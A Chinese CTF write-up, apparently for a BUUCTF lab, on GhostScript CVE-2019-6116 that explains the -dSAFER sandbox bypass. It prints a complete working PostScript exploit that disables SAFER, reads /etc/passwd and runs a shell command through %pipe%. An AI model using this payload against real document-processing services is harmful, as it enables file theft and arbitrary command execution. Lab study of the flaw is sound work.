582 字
3 分钟
BUUCTF | [GhostScript]CVE-2019-6116
2025-12-17
无标签

1、基础简述#

  • GhostScript:GhostScript 是一款开源的 PostScript 和 PDF 解释器,广泛应用于文档预览、打印服务和图像处理等场景。许多主流应用(如 ImageMagick、GIMP 等)都依赖 GhostScript 来处理 PostScript 和 PDF 文件。

2、漏洞原理#

  • 介绍:漏洞存在于 pipe 命令的权限检查逻辑中。在 -dSAFER 模式下,GhostScript 本应禁止执行外部命令或访问受限文件系统路径。然而,攻击者可以通过精心构造的 PostScript 代码,利用 pipe 命令与 %pipe% 或 | 符号结合,绕过沙箱限制执行任意系统命令。
  • 范围:GhostScript 9.27 及之前的所有版本

3、漏洞复现#

  • 将如下poc内容制作成png图片:
Terminal window
%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
/exploit {
(Stage 11: Exploitation...)=
/forceput exch def
systemdict /SAFER false forceput
userparams /LockFilePermissions false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput
% update
save restore
% All done.
stop
} def
errordict /typecheck {
/typecount typecount 1 add def
(Stage 10: /typecheck #)=only typecount ==
% The first error will be the .knownget, which we handle and setup the
% stack. The second error will be the ifelse (missing boolean), and then we
% dump the operands.
typecount 1 eq { null } if
typecount 2 eq { pop 7 get exploit } if
typecount 3 eq { (unexpected)= quit } if
} put
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable arrays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
/typecount 0
/PDFfile { (Stage 0: PDFfile)= currentfile }
/q { (Stage 1: q)= } % no-op
/oget { (Stage 3: oget)= pop pop 0 } % clear stack
/pdfemptycount { (Stage 4: pdfemptycount)= } % no-op
/gput { (Stage 5: gput)= } % no-op
/resolvestream { (Stage 6: resolvestream)= } % no-op
/pdfopdict { (Stage 7: pdfopdict)= } % no-op
/.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
/pdfdict { (Stage 9: pdfdict)=
% cause a /typecheck error we handle above
true
}
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile
(Attempting to execute a shell command...)= flush
% run command
(%pipe%id > /tmp/success) (w) file closefile
(All done.)=
quit

脚本来源:https://github.com/vulhub/vulhub/tree/master/ghostscript/CVE-2019-6116

  • 上传恶意png图片并抓包: alt text alt text
  • 修改图片内容: alt text
BUUCTF | [GhostScript]CVE-2019-6116
https://lepustimus.github.io/posts/ghostscriptcve-2019-6116/
作者
Lepustimidus
发布于
2025-12-17
许可协议
CC BY-NC-SA 4.0